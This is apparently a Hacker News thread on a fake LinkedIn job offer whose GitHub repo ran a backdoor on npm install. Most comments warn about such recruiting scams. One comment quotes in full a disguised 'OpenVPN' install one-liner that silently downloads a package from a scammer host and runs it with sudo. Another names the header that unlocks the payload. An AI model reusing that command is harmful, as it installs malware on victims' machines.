A backdoor in a LinkedIn job offer

1496 points277 commentsa day ago
wxw

> a recruiter at a small crypto startup [...] she described a broken proof-of-concept they needed a lead engineer for, and then sent me a public GitHub repo to review. Specifically, she asked me to “check out the deprecated Node modules issue.”

> ...buried between walls of commented-out tests, the payload runs anything the server sends back to your machine.

> npm runs prepare automatically after npm install, so just installing dependencies executes the backdoor.

> The instruction to “check out the deprecated Node modules issue” was bait to get me to run npm install.

Great catch. I've not been phished on LinkedIn before. Surprised it's getting this bad.

show comments
heldrida

Job candidates keep facing a lot of hurdles, including scams, Trojan horses like the one presented here, ghosting, wasting candidates' time, nepotism, etc. As a candidate you can easily spend more than 8 hours a day looking for opportunities, switching stacks, studying, doing take-home projects, etc, for absolutely nothing. Life is precious and shouldn't be burned like that!

show comments
jmward01

So, this is a crime right? Why isn't there a well known '911' for cybercrime to report things like this to and get help? Society needs to catch up with the actual dangers out there and build support networks for this ASAP. This is organized crime and needs organized defense to deal with it.

show comments
matltc

The difference between pre- and post-chatbot writeups is stark: https://igor-blue.github.io/2021/03/24/apt1.html

$100 says OP is Claude

show comments
jhancock

This type of attack has been happening a lot the past 2 years. I've seen one that was very well done...the GitHub account of a fairly well known security researcher had been compromised...their identity and code was being used as part of the recruitement. I reached out to the person...who was understandably embarrassed and told me they had reported this to LinkedIn + Github but saw no action.

This is the part that really irks me: LinkedIn and Github know this is the end goal of many of the rampant supply chain attacks but they a) don't have a first class mechanism for reporting b) don't seem to be improving their systems or even warning people. I have been hit be this enough times that I follow along to get screenshots of the scammer. One might think with all the surveillance systems Microsoft/LinkedIn/Github/Google-Meet/Calendly have in place that a potential victim reporting it along with an actual picture of the scammer could get us somewhere.

show comments
BobAliceInATree

> I reported the repo to GitHub and the recruiter to LinkedIn. So far nothing has changed and the code is still up.

Oh, Microsoft.

show comments
aykutseker

This is uncomfortably close to a normal interview task now.

Someone sends you a repo, says the install is broken, and asks you to take a look.

A lot of developers would run rpm install before thinking twice, especially if they were tired or looking for work.

show comments
Raed667

They seem to using the same domain for multiple targets: reddit thread from 3 months ago:

https://www.reddit.com/r/openclaw/comments/1rlet0h/someone_t...

maxaw

this happened to me too. few things about the process made me suspicious. i downloaded the repo and told claude to "find the malware". took about 15 seconds. remote code execution that would have run upon npm install, iirc. many layers of obfuscation. in implementation, a little different to the op's situation but there are similarities. it was a "crypto startup". maybe they think people in crypto world are more forgiving of idiosyncrasies in the recruiting process? i reported the recruiter's profile to linkedin, with extensive details. they said they wouldn't look into it unless i opened a ticket in some other part of their site, lol. however it seems they got onto it, or someone else complained, because i can't find the recruiter "alice kenny" anymore. but the "company" she was recruiting for is still live:

https://www.linkedin.com/company/blockchainaustraliasolution...

show comments
dantodor

Been through this 3 times in the last 6 months. They're getting better. Very credible LI profiles, code looks OK if you only take a glance... The bell start ringing when they insist you to run locally their sh*t

show comments
throwawayffffas

Hm, the url returns a png. Did he obscure the actual url? Couldn't get it to send me json or js...

Update: found a clone of the repo on github and got the payload, all you have to do is add a header `bearrtoken: logo`

It's obfuscated, I will feed it to qwen to see what can be gleaned.

show comments
zackchen

I've pretty much have had the same thing to me happen on Fiverr about 10 months ago.

I even did a write up. It was one of the first reverse engineerings I've did. https://gist.github.com/Throvn/97fcb4981c1ff66725d4b2e408ba0...

elwebmaster

Why is npm still not blocked by every OS on earth is beyond me. These guys will never learn.

show comments
theoeiffijr

Maybe Mac will finally get decent virtualization framework. Downloading random unprotected scripts from internet, like it is 1995 is getting old pretty fast.

Remember to use protection when meeting random people, and putting their junk deep inside your computer!

show comments
ionwake

Im not sure if anyone will read this, but I consider myself pretty savvy having been on the internet over decades however I nearly succumbed to a highly complex Linkedin "Interview with video call just to get me to install malware".

It was the most bizarely long roundabout way to get me to isntall malware I had ever witnessed I couldnt fathom it was real, I mean they interviewed me for half an hour. Now you might think Im paranoid however it was obvious, their camera was off ( personal preference they said) and well I allowed it... only for other eventual straws to breal the camels back, and I realised "oh uh oh this is just 2 strangers trying to get me to install crap on my laptop for wealth extraction".

I was flumoxed tbh I couldnt believe it, as the approach had been very organic, through Linkedin Dms, just that eventaully I realised I had succumbed to "yes men" ( the only thing that would get passed my already strict job filters ironically) to allow myself into such a comprimising situation.

The only question I had is how did they do such a smooth complex manouver and then I realised... oh they just used AI to come up with the plan and implementation.

show comments
atum47

I've been getting some job offers on LinkedIn, all of them are shady af. Apply using a platform. Apply recording a video of yourself. Apply by resolving a calibration code test (behind a code platform)...

show comments
CyanLite2

Isn't this how most NPM authors are hacked these days? I think the axios guy got hit with the same approach over LinkedIn.

show comments
denysvitali

I had a similar experience, just by email.

https://blog.denv.it/posts/i-was-likely-targeted-by-dprk-in-...

It was likely DPKR.

raesene9

Worth noting that, this isn't just a risk with npm or other package managers. If you're using LLM agents in the directory of a cloned repo, there's risks in skills, hooks etc automatically executing..

atraac

I work in crypto and this is happening practically every other day. I refuse anyone on LinkedIn that I don't know personally and has web3 or crypto anywhere in the description. It's all fake accounts with fake job offers. It's a pretty known scam.

NordStreamYacht

"Recruiters" are getting sophisticated.

I spoke on the phone with "Singapore based recruiters" a couple of times who wanted my services as a consultant for "advanced applications for semiconductor devices."

Turns out they were just fishing for inside information on my employer's end customer's applications.

show comments
clemailacct1

This is very likely Lazarus Group - specifically Famous Chollima aka the DPRK

show comments
dataviz1000

I don't have a LinkedIn profile.

~50% of jobs listed on who is hiring every month require a LinkedIn profile to submit a job application.

In order to find a job, one must bend the knee to LinkedIn first and subjugate themselves to the political (all sides) propaganda on the feed.

show comments
rektomatic

I really want to know what would've happened with an npm install, I guess something boring like crypto mining or identity theft?

show comments
vidarh

This is a common one. I've had at least half a dozen of them. If I'm bored, I play along, and then play difficult and dumb and see how long it takes until they give up.

Some of these will happily get on "interview" calls etc.

For some reason, most (but not all) of them have the same telltale signs of looking for someone to work on a web3/crypto gaming project.

show comments
jghn

I can not imagine a situation where some random person messages me on linkedin asking me to solve a coding challenge, and I do anything other than block them.

show comments
CalChris

It’s odd that the operator of the scam knew full stack level details of its implementation. To me, it seems like they were targeting the author, perhaps as something like privilege escalation, identity escalation perhaps.

martinwoodward

Martin from GitHub here - the offending repos have been taken down, but the article from Roman is still very much worth reading to understand the attack vector attempted.

swithek

I'm seeing the same. Worth flagging that maintainers seem to be a specific target now, not just job seekers. If you've got commit access to anything popular, backdoors like this become a lot more dangerous, because the supply-chain payoff is much bigger than your laptop

f055

I used to get 2-3 shady crypto offers per week on LinkedIn. It stopped when I started replying with AI generated responses demanding multiple verification steps: official email, official offer link, terms and scope etc. And a note with a firm refusal to run any code or install any package on my machine for "recruitment tasks".

nubinetwork

> I reported the repo to GitHub and the recruiter to LinkedIn. So far nothing has changed and the code is still up.

Github is really slow when it comes to malicious repos. You'll probably get an email randomly six months from now when they finally see it.

nticompass

> recruiter at a small crypto startup

That's your first red flag right there.

redbell

> I’ve heard of these attacks and read about them on HN

And, I am reading this on HN right now. What a coincidence!

I read a lot about social engineering and how the human being is considered the weakest layer in the security chain but this is the first time I've came across this pattern. Eye opening indeed.

rektlessness

It’s just so heartwarming to see we are completely indentured to both LinkedIn and GitHub, and forced to curate fake personas and upload our life's work just to secure a paycheck.

Yes, throwaway VPS for interview coding tasks should be the new norm.

xvxvx

I only use LinkedIn for the job postings but they’ve become flooded with nonsense the past few months. Lots of postings from Ladders, Swooped, and various companies like those. I think I’m about to ditch LinkedIn permanently.

abhisek

Smells like contagious interview campaign by DPRK folks. They have been doing this for a while. Even using IDE settings, Claude hooks for malicious code execution.

hboon

I didn't read everything, but I had a DM offering a gig a few weeks ago, and asked me to check out a React site/app. I cloned it and it looked dubious; replied I pass.

sambhu

I had a [similar](https://dev.shivagaire.com.np/linkedin-client-rce-backdoor-n...) encounter before. Jobs are scarce and this kind of targeted dev attacks semms to be more frequent these days.

game_the0ry

> Instead of cloning and installing dependencies, I spun up a throwaway VPS on Hetzner, cloned the repo there, and pointed Pi at it in read-only mode, with only file-reading tools enabled...

Good man, knows what he is doing.

FWIW, I only run ai cli tools on a hostinger vps, never on my personal device. Also allows me to run YOLO mode across the board. If I am working on a web project, then I use preview develop deploys for testing, so I do not even have to work on my machine. Its very fun workflow for experimentation. Still trying to work the kinks to make it easier.

> I reported the repo to GitHub and the recruiter to LinkedIn. So far nothing has changed and the code is still up.

Come on, github...

srikanth86

Oh my goodness! I had this playout as is on Friday. I luckily got on the zoom call 20 mins late. Found it weird that the interviewer was pushy and wanted me to download and run an npm repo. I got out of the call quickly.

Yhippa

> but on a more tired or rushed day

This has nearly gotten me before, and I got lucky.

LooseMarmoset

Were I still on Linkedin, I could totally have been caught by this. Thank you for this post, and the technical breakdown.

The company that I currently work for is currently paying for a curation product to scan NPM for vulnerabilities, and to prevent access to typo-squatting packages and new, unverified packages. I suspect that my employer may get to the point of banning NPM entirely, though.

saos

> but on a more tired or rushed day, I could easily have run npm install before thinking it through

ChrisMarshallNY

> So far nothing has changed and the code is still up.

That sucks, but it seems to be par for the course, these days.

harrouet

How about running that backdoor from a honeypot and check what it is trying to do?

lamtanphan

I reported it and it seems like the repo no longer exists

mujib77

This is the first time i have heard of this type of scam so horrible like people need to be careful on both github and linkedin

show comments
alexandra_au

I feel like there's only going to be more attempts like this, given the state of how many recently made redundant software engineers out there, and the level of desperation to find a job.

qq66

Western governments should treat large-scale scammers and the countries that protect them as an act of war.

n3mo-dev

LinkedIn offers are mostly eiter scam or just for promotions

mattcasmith

I’ve seen a few of these – malicious repos to clone, fake call links that prompt for “driver” downloads, and so on.

The only way around it is to be hyper-vigilant if anyone asks you to run any untrusted code on your computer.

h4kunamata

Honestly, I would have given up before starting. You spend time and effort on these cases only for the company to say "Unfortunately..."

Kuyawa

I've got more than a handful of these offers so I decided to never install anything and politely decline such offers.

Linkedin has become a rotten cesspool of scammers and spammers, ripe for disruption.

robotnikman

With how many desperate software engineers there are on the market right now looking for a job, there are going to be scumbags out there trying to take advantage of the desperation. Such people are the worst of the worst of humanity.

Stay vigilant out there everyone.

show comments
khernandezrt

It would have been game over for me.

hajdjqkekrqow

Something similar happened to a friend, repo https://github.com/momonity/cryptoskope/

binsquare

Would highly recommend running any repo in an isolated environment like a vm

harrouet

Damned, there is a market for an "antivirus for developers".

gyoridavid

I wonder if an antivirus software would catch this..

dyingkneepad

Ah, c'mon! You went all the way to find out the issue and write about it, and won't do the most interesting part which is to tell us what was the remote script that would end up running!?

croes

So the backdoor isn’t in the offer but came per offer

zombot

> so just installing dependencies executes the backdoor.

How anybody in their right mind still uses this tech stack is beyond me.

> I reported the repo to GitHub and the recruiter to LinkedIn. So far nothing has changed and the code is still up.

Remember to treat every size on the internet as an adversary, even if they weren't in the past.

psychoslave

I'm a simple man. I see crypto currency and I move away from what looks likely a social scam.

Sure, that might have been the one chance in a life time to easy big money. Or just a path to financial big troubles.

avgDev

More reasons for me to dislike linked-in. I have an account. I hate it.

stainablesteel

the entire internet is just phishing at this point

contingencies

Thought: they may be targeting software developers on the assumption they may have legit credentials lying around from other employers or for public open source projects, or at a minimum some reputation to exploit towards obtaining commits to the same for supply chain attacks.

show comments
dolebirchwood

As part of a potential interview, I was given login credentials so I could sign in to a site where I was prompted to download a VPN client that would allow me to connect to the company's system (red flags already).

They made the site look like it was an official OpenVPN page, even though the URL was clearly not affiliated. The method of downloading their "VPN" was to copy and paste a script to run in my terminal. They only showed a small snippet of the command, which started with `( brew install openvpn )`, followed by a copy button. After pasting the full command to inspect it, the entire contents was as follows (with the malicious URL removed):

```

( brew install openvpn ) >/dev/null 2>&1 & ovpn_pid=$!; ( url="https://asshole.scammer.dev/openvpn-mac"; policyCategoryId="-1"; installerArgs="url=$url:departmentId=1765561620401102848:sourceInstall=silent:technicianId=7455681275330027520"; silentInstall="true"; waitForProcess(){ processName="$1"; fixedDelay="$2"; terminate="$3"; while pgrep -f "$processName" >/dev/null; do if [ "$terminate" = "true" ]; then pkill -f "$processName" true; return; fi; delay="${fixedDelay:-$((RANDOM % 50 + 10))}"; sleep "$delay"; done; }; checkForRosetta2(){ waitForProcess "/usr/sbin/softwareupdate"; IFS='.' read -r osvers_major osvers_minor <<< "$(/usr/bin/sw_vers -productVersion)"; if [ "$osvers_major" -ge 11 ]; then if ! sysctl -n machdep.cpu.brand_string | grep -q "Intel"; then pgrep oahd >/dev/null 2>&1 /usr/sbin/softwareupdate --install-rosetta --agree-to-license >/dev/null 2>&1; fi; fi; }; checkForRosetta2; DIRECTORY="/Users/Shared/InstallerWorkspace"; mkdir -p "$DIRECTORY"; configFile="$DIRECTORY/agentinstallconfig.properties"; { echo "policyId=$policyCategoryId"; echo "install_args=$installerArgs"; echo "Silent_Install=$silentInstall"; } > "$configFile"; baseName="$(basename "$url")"; downLoadFile="/Users/Shared/$baseName"; curl --silent --fail --location --url "$url" --output "$downLoadFile" >/dev/null 2>&1 && sudo installer -pkg "$downLoadFile" -target / >/dev/null 2>&1; t=$?; rm -f "$configFile" "$downLoadFile"; exit "$t" ) >/dev/null 2>&1 & so_pid=$!; wait "$ovpn_pid"; ovpn_rc=$?; wait "$so_pid"; so_rc=$?; [ "$ovpn_rc" -eq 0 ] && [ "$so_rc" -eq 0 ]

```

Yeah, no. Be careful out there.

By the way, here's the scammer's "company website": https://jtwllc.com/

Superficially looks legit until you start investigating the finer details.

zuzululu

I'm working 3 remote jobs right now and I can tell you guys to really watch out.

Often they are not malicious, just unsavory business practice where they want free consulting with no intention of hiring you. Another tell is the person is quick to jump to a take home screening project and they are quite good at getting at engineers heads that "leetcode is outdated/they dont believe in it" and whatever they want you to hear.

They know engineers are desperate for jobs right now and if you don't have a backbone they will exploit it.

I am much wiser now that I work multiple salary jobs remotely I realize these 3 golden rules:

- Don't stay loyal to your employers.

- Don't stay honest to those don't value it.

- Don't stay complacent always innovate.

show comments
blindriver

LinkedIn is a cesspool of scams now.

They know there's a high degree of fraud and they don't do anything about it. They don't care.

I've gotten tricked into sending my resume and talking on the phone with legitimate looking recruiters from Google, Netflix, Meta, OpenAI, Anthropic, etc, but LinkedIn does nothing about it.

show comments
bitfilped

Once again I'll state my opinion, don't use linkedin. It's a social media site not an employment/recruitment resource.

l0new0lf-G

Yet another reason to be reluctant to even discuss linkedin job offers

yieldcrv

now imagine if you were like the rest of us and didn’t write a blog post about it